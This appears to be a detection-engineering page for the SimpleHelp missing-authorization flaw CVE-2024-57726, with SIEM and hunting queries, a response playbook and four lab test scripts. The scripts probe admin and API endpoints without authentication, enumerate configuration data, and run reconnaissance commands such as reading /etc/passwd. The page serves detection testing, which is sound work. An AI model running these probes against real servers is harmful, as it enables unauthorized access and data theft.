CVE-2024-57726 Sumo Logic CSE · Sumo

Detect SimpleHelp Missing Authorization Vulnerability (CVE-2024-57726) in Sumo Logic CSE

CVE-2024-57726 is a missing authorization vulnerability (CWE-862) in SimpleHelp remote support software versions 5.5.7 and earlier. This CISA KEV-listed vulnerability allows unauthenticated or low-privileged attackers to bypass authorization controls, potentially enabling unauthorized access to administrative functions, file system traversal, or remote code execution on systems running the SimpleHelp server. Active exploitation has been observed in the wild.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Lateral Movement

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/simplehelp OR _sourceCategory=windows/sysmon OR _sourceCategory=linux/syslog
| parse "method=*" as http_method nodrop
| parse "uri=*" as request_uri nodrop
| parse "status=*" as http_status nodrop
| parse "user=*" as request_user nodrop
| parse "process=*" as process_name nodrop
| parse "parent_process=*" as parent_process nodrop
| where (
    (request_uri matches "*/admin*" OR request_uri matches "*/api/admin*" OR request_uri matches "*/operator*")
    AND (isNull(request_user) OR request_user = "")
    AND http_status in ("200", "201", "204")
  )
  OR (
    parent_process matches "*SimpleHelp*"
    AND process_name in ("cmd.exe", "powershell.exe", "bash", "sh", "/bin/sh", "/bin/bash")
  )
| count by _sourceHost, request_uri, http_status, process_name, parent_process
| sort by _count desc
critical severity medium confidence

Sumo Logic query detecting CVE-2024-57726 exploitation through unauthorized access to SimpleHelp administrative endpoints and suspicious process spawning from the SimpleHelp parent process.

Data Sources

Sumo Logic Cloud SIEMWeb server logsSysmonLinux syslog

Required Tables

web/simplehelpwindows/sysmonlinux/syslog

False Positives & Tuning

  • Authorized IT staff accessing SimpleHelp admin panel from corporate IPs
  • Monitoring agents querying SimpleHelp status endpoints without session context
  • SimpleHelp update scripts that legitimately spawn shell processes during upgrades
  • SIEM log normalization gaps causing user fields to appear empty in parsed events

Other platforms for CVE-2024-57726

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated SimpleHelp Admin Endpoint Access

    Expected signal: Web server access logs will show HTTP GET/POST requests to /admin or /api/ paths from the test IP with no Authorization header or session cookie. If vulnerable, HTTP 200 response codes will be logged. Network monitoring will show connections to the SimpleHelp service port from the test host.

  2. Test 2SimpleHelp Operator Privilege Escalation via Missing Auth

    Expected signal: Windows: PowerShell Script Block Logging (Event ID 4104) will capture the Invoke-WebRequest calls. Network: HTTP requests to /api/admin/* endpoints will appear in SimpleHelp access logs. Sysmon Event ID 3 will log network connections from powershell.exe to the SimpleHelp host.

  3. Test 3Post-Exploitation Command Execution via SimpleHelp Remote Session

    Expected signal: Linux: auditd will log bash process creation with the reconnaissance commands (execve syscalls). Syslog will record the command execution. On the SimpleHelp server, session logs will show a remote session connection from an unrecognized IP with commands executed. Network telemetry will show the SimpleHelp client-server communication pattern.

  4. Test 4SimpleHelp Configuration Exfiltration via Unauthorized API Access

    Expected signal: Web server logs on the SimpleHelp host will record sequential GET requests to multiple API endpoints from the same source IP within a short timeframe — a pattern indicative of automated enumeration. Network monitoring will show the HTTP request/response pairs. If SimpleHelp logs API access, entries without authentication context will appear.

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify all SimpleHelp server instances in the environment by querying asset inventory and network scan data for processes listening on ports 5850, 5900, or web server ports hosting SimpleHelp. Correlate with installed software inventory.
  2. Determine the SimpleHelp version running on each identified instance. Check the SimpleHelp admin panel version display or examine installation files. Flag any instance running version 5.5.7 or earlier as immediately vulnerable per CVE-2024-57726 disclosure.
  3. Review web server and application logs on SimpleHelp hosts for the past 30 days, looking for HTTP 200/201/204 responses to /admin, /api/admin, or /operator paths from unauthenticated sessions (no Authorization header, no valid session cookie).
  4. Correlate source IPs of suspicious requests against threat intelligence feeds and geolocation. Determine whether access originated from expected technician locations or anomalous external IPs indicating external exploitation.
  5. Check for evidence of post-exploitation activity: new user accounts created in SimpleHelp, configuration changes to allow remote access, file downloads through the SimpleHelp file transfer feature, or commands executed via SimpleHelp remote sessions.

Containment

  1. If active exploitation is confirmed or strongly suspected, immediately isolate the affected SimpleHelp server from the network by blocking inbound connections to its web ports (80, 443, 5850, 5900) at the perimeter firewall or network ACL. Notify IT operations before blocking to prevent disruption of legitimate remote support operations.
  2. Apply the vendor security patch upgrading SimpleHelp to a version later than 5.5.7 as per the advisory at simple-help.com. If patching is not immediately possible, restrict SimpleHelp admin interface access to specific trusted IP ranges using SimpleHelp's built-in IP allowlist feature or an upstream reverse proxy with IP-based ACLs.
  3. Rotate all SimpleHelp administrator and operator credentials immediately. Review the SimpleHelp user list for any unauthorized accounts added during the exploitation window and remove them. Reset API keys if SimpleHelp API integration is in use.
  4. If the SimpleHelp server was compromised, treat all machines that connected to it via SimpleHelp remote sessions during the exploitation window as potentially compromised. Initiate compromise assessment on those endpoints.

Evidence Collection

  1. Preserve SimpleHelp application logs (typically under the SimpleHelp installation directory in a 'logs' subdirectory), IIS/Apache/Nginx access logs, and Windows Event Logs or Linux syslog from the SimpleHelp server. Create forensic copies before any remediation activity.
  2. Capture a memory image of the SimpleHelp server process and the host OS if live forensics capabilities are available. This can reveal in-memory artifacts of exploitation, injected shellcode, or attacker tooling that may not be present on disk.
  3. Extract and preserve network traffic captures (PCAP) from the SimpleHelp server's network interface for the suspected exploitation timeframe if network capture infrastructure is in place. Analyze for exfiltration, C2 beaconing, or lateral movement attempts.
  4. Document all SimpleHelp session logs, including remote session recordings if the SimpleHelp session recording feature was enabled, to identify what actions were taken by the attacker through the SimpleHelp remote support interface.

Escalation Criteria

  • !Escalate immediately to incident response if there is evidence of successful code execution on the SimpleHelp server host, including new processes spawned by SimpleHelp with interactive shells, new scheduled tasks or cron jobs, or new files written to non-SimpleHelp directories.
  • !Escalate to CISO and legal/compliance teams if SimpleHelp was used to access systems containing regulated data (PII, PHI, PCI-DSS in scope) during the suspected exploitation window, as this may trigger breach notification obligations.
  • !Escalate to threat intelligence team if the attacker infrastructure (IPs, domains, tools) matches known threat actor indicators, particularly ransomware groups or APTs known to exploit remote access tools as initial access vectors.

Investigation Guide

Related Techniques

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Forensic Artifacts

  • >SimpleHelp application logs in <install_dir>/logs/ containing HTTP request logs with timestamps, source IPs, URI paths, HTTP methods, and response codes — primary source for identifying unauthenticated admin path access
  • >Windows Event Log: Security (Event ID 4624/4625 for logon activity on the host), System (Event ID 7045 for new service installation), and Application logs for SimpleHelp service errors or crashes
  • >Linux audit logs (/var/log/audit/audit.log) for file access, process creation (execve syscalls), and network connection events attributed to the SimpleHelp process user
  • >SimpleHelp database (embedded H2 or configured external DB) containing session records, user account changes, and configuration modifications with timestamps
  • >Prefetch files (Windows) or bash/shell history (Linux/macOS) on the SimpleHelp host indicating post-exploitation command execution
  • >Network flow records (NetFlow/IPFIX) showing inbound connections to SimpleHelp ports and any subsequent outbound connections from the server that may indicate C2 or data exfiltration

Tuning Guidance

Begin by establishing a baseline of legitimate SimpleHelp admin access: catalog known administrator and operator IP ranges, typical access hours, and expected URI patterns. Whitelist these in detection rules to reduce false positives from authorized helpdesk activity. For the child process detection, note that SimpleHelp may legitimately spawn Java-based subprocesses during updates — build an allowlist of expected child process hashes or command-line patterns observed during patch events. If SimpleHelp is deployed with a reverse proxy (nginx/IIS ARR), ensure logs from the proxy layer are ingested rather than only application-layer logs, as the proxy may strip auth headers before they reach SimpleHelp. Increase confidence to 'high' if the source IP of admin-path requests has no prior authenticated access history in your environment.

Hunting Queries

Threat hunting query to identify anomalous outbound network connections from the SimpleHelp process to external IPs, which may indicate successful exploitation followed by C2 communication or data exfiltration. High connection counts to diverse external IPs are particularly suspicious.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("SimpleHelp", "java")
| where RemoteIPType != "Private"
| where ActionType == "ConnectionSuccess"
| summarize ConnectionCount = count(), RemoteIPs = make_set(RemoteIP), Ports = make_set(RemotePort) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where ConnectionCount > 5
| order by ConnectionCount desc
Hunting — SPL
spl 
index=* sourcetype IN ("sysmon", "wineventlog") EventCode IN (3, 4688)
| eval suspicious = if(match(Image, "(?i)SimpleHelp") AND match(DestinationIp, "^(?!10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"), 1, 0)
| where suspicious=1
| stats count by Image, DestinationIp, DestinationPort, ComputerName
| sort -count

Hunt for interpreter or shell processes spawned as children of SimpleHelp or its Java runtime. This pattern is strongly indicative of remote code execution achieved through exploitation of CVE-2024-57726 or related vulnerabilities in the SimpleHelp server.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("SimpleHelp", "java", "wrapper")
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "bash", "sh", "python", "python3", "perl", "ruby")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype="sysmon" EventCode=1
| where match(ParentImage, "(?i)(SimpleHelp|java)") AND match(Image, "(?i)(cmd\.exe|powershell\.exe|bash|python|perl|ruby|wscript|cscript)")
| table _time, ComputerName, User, ParentImage, Image, CommandLine, ParentCommandLine
| sort -_time

Atomic Red Team Tests

Test 1 Unauthenticated SimpleHelp Admin Endpoint Access
linux

Simulates CVE-2024-57726 exploitation by sending unauthenticated HTTP requests to SimpleHelp administrative endpoints. Tests whether the missing authorization check allows access to restricted functionality without valid credentials.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY - Authorized testing
SIMPLEHELP_URL="http://TARGET_IP:5800"

# Attempt unauthenticated access to admin endpoints
echo "[*] Testing unauthenticated admin endpoint access..."
curl -v -s -o /tmp/simplehelp_admin_resp.txt \
  -H 'Content-Type: application/json' \
  -w '\nHTTP_STATUS: %{http_code}\n' \
  "${SIMPLEHELP_URL}/admin" 2>&1

# Test API endpoint
curl -v -s -o /tmp/simplehelp_api_resp.txt \
  -H 'Content-Type: application/json' \
  -X GET \
  -w '\nHTTP_STATUS: %{http_code}\n' \
  "${SIMPLEHELP_URL}/api/server-info" 2>&1

echo "[*] Responses saved to /tmp/simplehelp_*_resp.txt"
echo "[*] HTTP 200 on admin endpoints without auth indicates vulnerability present"

Cleanup

bash 
rm -f /tmp/simplehelp_admin_resp.txt /tmp/simplehelp_api_resp.txt

Expected Telemetry

Web server access logs will show HTTP GET/POST requests to /admin or /api/ paths from the test IP with no Authorization header or session cookie. If vulnerable, HTTP 200 response codes will be logged. Network monitoring will show connections to the SimpleHelp service port from the test host.

Expected Detection

The KQL and SPL detection queries should trigger on the unauthenticated HTTP 200 response to the /admin path. QRadar AQL rule should correlate the empty username with successful HTTP status. Chronicle YARA-L rule should match on NETWORK_HTTP event with admin URI and no user context.

Test 2 SimpleHelp Operator Privilege Escalation via Missing Auth
windows

Simulates an attacker using CVE-2024-57726 to escalate from a low-privilege SimpleHelp operator to administrator by accessing privileged API functions without proper authorization checks.

Command

powershell 
# LAB ENVIRONMENT ONLY - PowerShell simulation
$SimpleHelpUrl = "http://TARGET_IP:5800"
$LowPrivToken = "OPERATOR_SESSION_TOKEN_HERE"

# Attempt to access admin-only API with operator token (testing missing authz)
$AdminApiEndpoints = @(
    "/api/admin/users",
    "/api/admin/configuration",
    "/api/admin/technicians"
)

foreach ($endpoint in $AdminApiEndpoints) {
    $response = try {
        Invoke-WebRequest -Uri "$SimpleHelpUrl$endpoint" `
            -Headers @{"Authorization" = "Bearer $LowPrivToken"; "Content-Type" = "application/json"} `
            -Method GET -UseBasicParsing -ErrorAction Stop
    } catch {
        $_.Exception.Response
    }
    
    Write-Host "Endpoint: $endpoint - Status: $($response.StatusCode)"
    if ($response.StatusCode -eq 200) {
        Write-Host "[VULNERABLE] Admin endpoint accessible with operator-level token!" -ForegroundColor Red
    }
}

Cleanup

powershell 
Remove-Item -Force $env:TEMP\simplehelp_test_* -ErrorAction SilentlyContinue

Expected Telemetry

Windows: PowerShell Script Block Logging (Event ID 4104) will capture the Invoke-WebRequest calls. Network: HTTP requests to /api/admin/* endpoints will appear in SimpleHelp access logs. Sysmon Event ID 3 will log network connections from powershell.exe to the SimpleHelp host.

Expected Detection

CrowdStrike CQL will detect PowerShell making network connections to SimpleHelp ports. Splunk SPL query will catch the API endpoint access patterns. If the server returns HTTP 200, the unauthenticated API call rule will trigger.

Test 3 Post-Exploitation Command Execution via SimpleHelp Remote Session
linux

Simulates post-exploitation activity after successful CVE-2024-57726 exploitation, where an attacker uses the gained SimpleHelp access to execute commands on connected client endpoints via the remote support functionality.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY
# This simulates the attacker's perspective after gaining unauthorized SimpleHelp admin access
# by triggering a remote command via the SimpleHelp API (if the vuln allows API access)

SIMPLEHELP_URL="http://TARGET_IP:5800"

# Simulate reconnaissance command that would be run on a connected client
# In real exploitation this would target a client machine connected to SimpleHelp
echo "[*] Simulating discovery command execution artifact..."

# Create artifact simulating what would be generated on an endpoint
# where attacker ran commands via SimpleHelp remote session
mkdir -p /tmp/simplehelp_test
cat > /tmp/simplehelp_test/simulated_session.log << 'EOF'
Timestamp: $(date -u +%Y-%m-%dT%H:%M:%SZ)
Event: RemoteCommandExecution
SessionID: ATTACKER_SESSION_12345
TechnicianIP: ATTACKER_IP
Command: whoami && id && cat /etc/passwd | head -5
Output: root\nuid=0(root) gid=0(root) groups=0(root)
EOF

echo "[*] Simulated session artifact created at /tmp/simplehelp_test/"

# Simulate the process creation that would occur on a compromised endpoint
bash -c 'whoami; id; hostname' > /tmp/simplehelp_test/recon_output.txt 2>&1
echo "[*] Recon output: $(cat /tmp/simplehelp_test/recon_output.txt)"

Cleanup

bash 
rm -rf /tmp/simplehelp_test/

Expected Telemetry

Linux: auditd will log bash process creation with the reconnaissance commands (execve syscalls). Syslog will record the command execution. On the SimpleHelp server, session logs will show a remote session connection from an unrecognized IP with commands executed. Network telemetry will show the SimpleHelp client-server communication pattern.

Expected Detection

Chronicle YARA-L PROCESS_LAUNCH rule will trigger on shell child processes. CrowdStrike CQL ProcessRollup2 events will show bash spawning recon commands. Elastic EQL sequence rule will correlate the SimpleHelp network connection with the subsequent process creation. Sumo Logic query will catch parent_process matching SimpleHelp with shell child processes.

Test 4 SimpleHelp Configuration Exfiltration via Unauthorized API Access
linux

Simulates an attacker exploiting CVE-2024-57726 to extract SimpleHelp server configuration, technician credentials, or client endpoint inventory through unauthenticated API calls — a common post-initial-access intelligence gathering step.

Command

bash 
#!/bin/bash
# LAB ENVIRONMENT ONLY - Authorized penetration testing
SIMPLEHELP_URL="http://TARGET_IP:5800"
OUTPUT_DIR="/tmp/simplehelp_exfil_test"
mkdir -p $OUTPUT_DIR

echo "[*] Testing unauthorized configuration access (CVE-2024-57726 simulation)"

# Test endpoints that may be accessible without authorization
ENDPOINTS=(
    "/api/server-info"
    "/api/version"
    "/api/technicians"
    "/api/clients"
    "/api/configuration"
)

for endpoint in "${ENDPOINTS[@]}"; do
    echo "[*] Testing: $endpoint"
    HTTP_STATUS=$(curl -s -o "${OUTPUT_DIR}/$(echo $endpoint | tr '/' '_').json" \
        -w "%{http_code}" \
        -H "Content-Type: application/json" \
        "${SIMPLEHELP_URL}${endpoint}")
    echo "    Status: $HTTP_STATUS"
    if [ "$HTTP_STATUS" = "200" ]; then
        echo "    [VULNERABLE] Data accessible without authentication!"
        cat "${OUTPUT_DIR}/$(echo $endpoint | tr '/' '_').json"
    fi
done

echo "[*] Test complete. Check $OUTPUT_DIR for any returned data."

Cleanup

bash 
rm -rf /tmp/simplehelp_exfil_test/

Expected Telemetry

Web server logs on the SimpleHelp host will record sequential GET requests to multiple API endpoints from the same source IP within a short timeframe — a pattern indicative of automated enumeration. Network monitoring will show the HTTP request/response pairs. If SimpleHelp logs API access, entries without authentication context will appear.

Expected Detection

The SPL query will detect multiple unauthenticated successful API calls from the same source. QRadar AQL will flag the empty username field combined with 200 status responses. The Sumo Logic query will identify the pattern of missing auth on API paths. High-frequency access from a single IP to multiple admin/API endpoints should trigger rate-based alerting if configured.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1210Exploitation of Remote ServicesT1021.001Remote Desktop Protocol

Same Tactic: Initial Access

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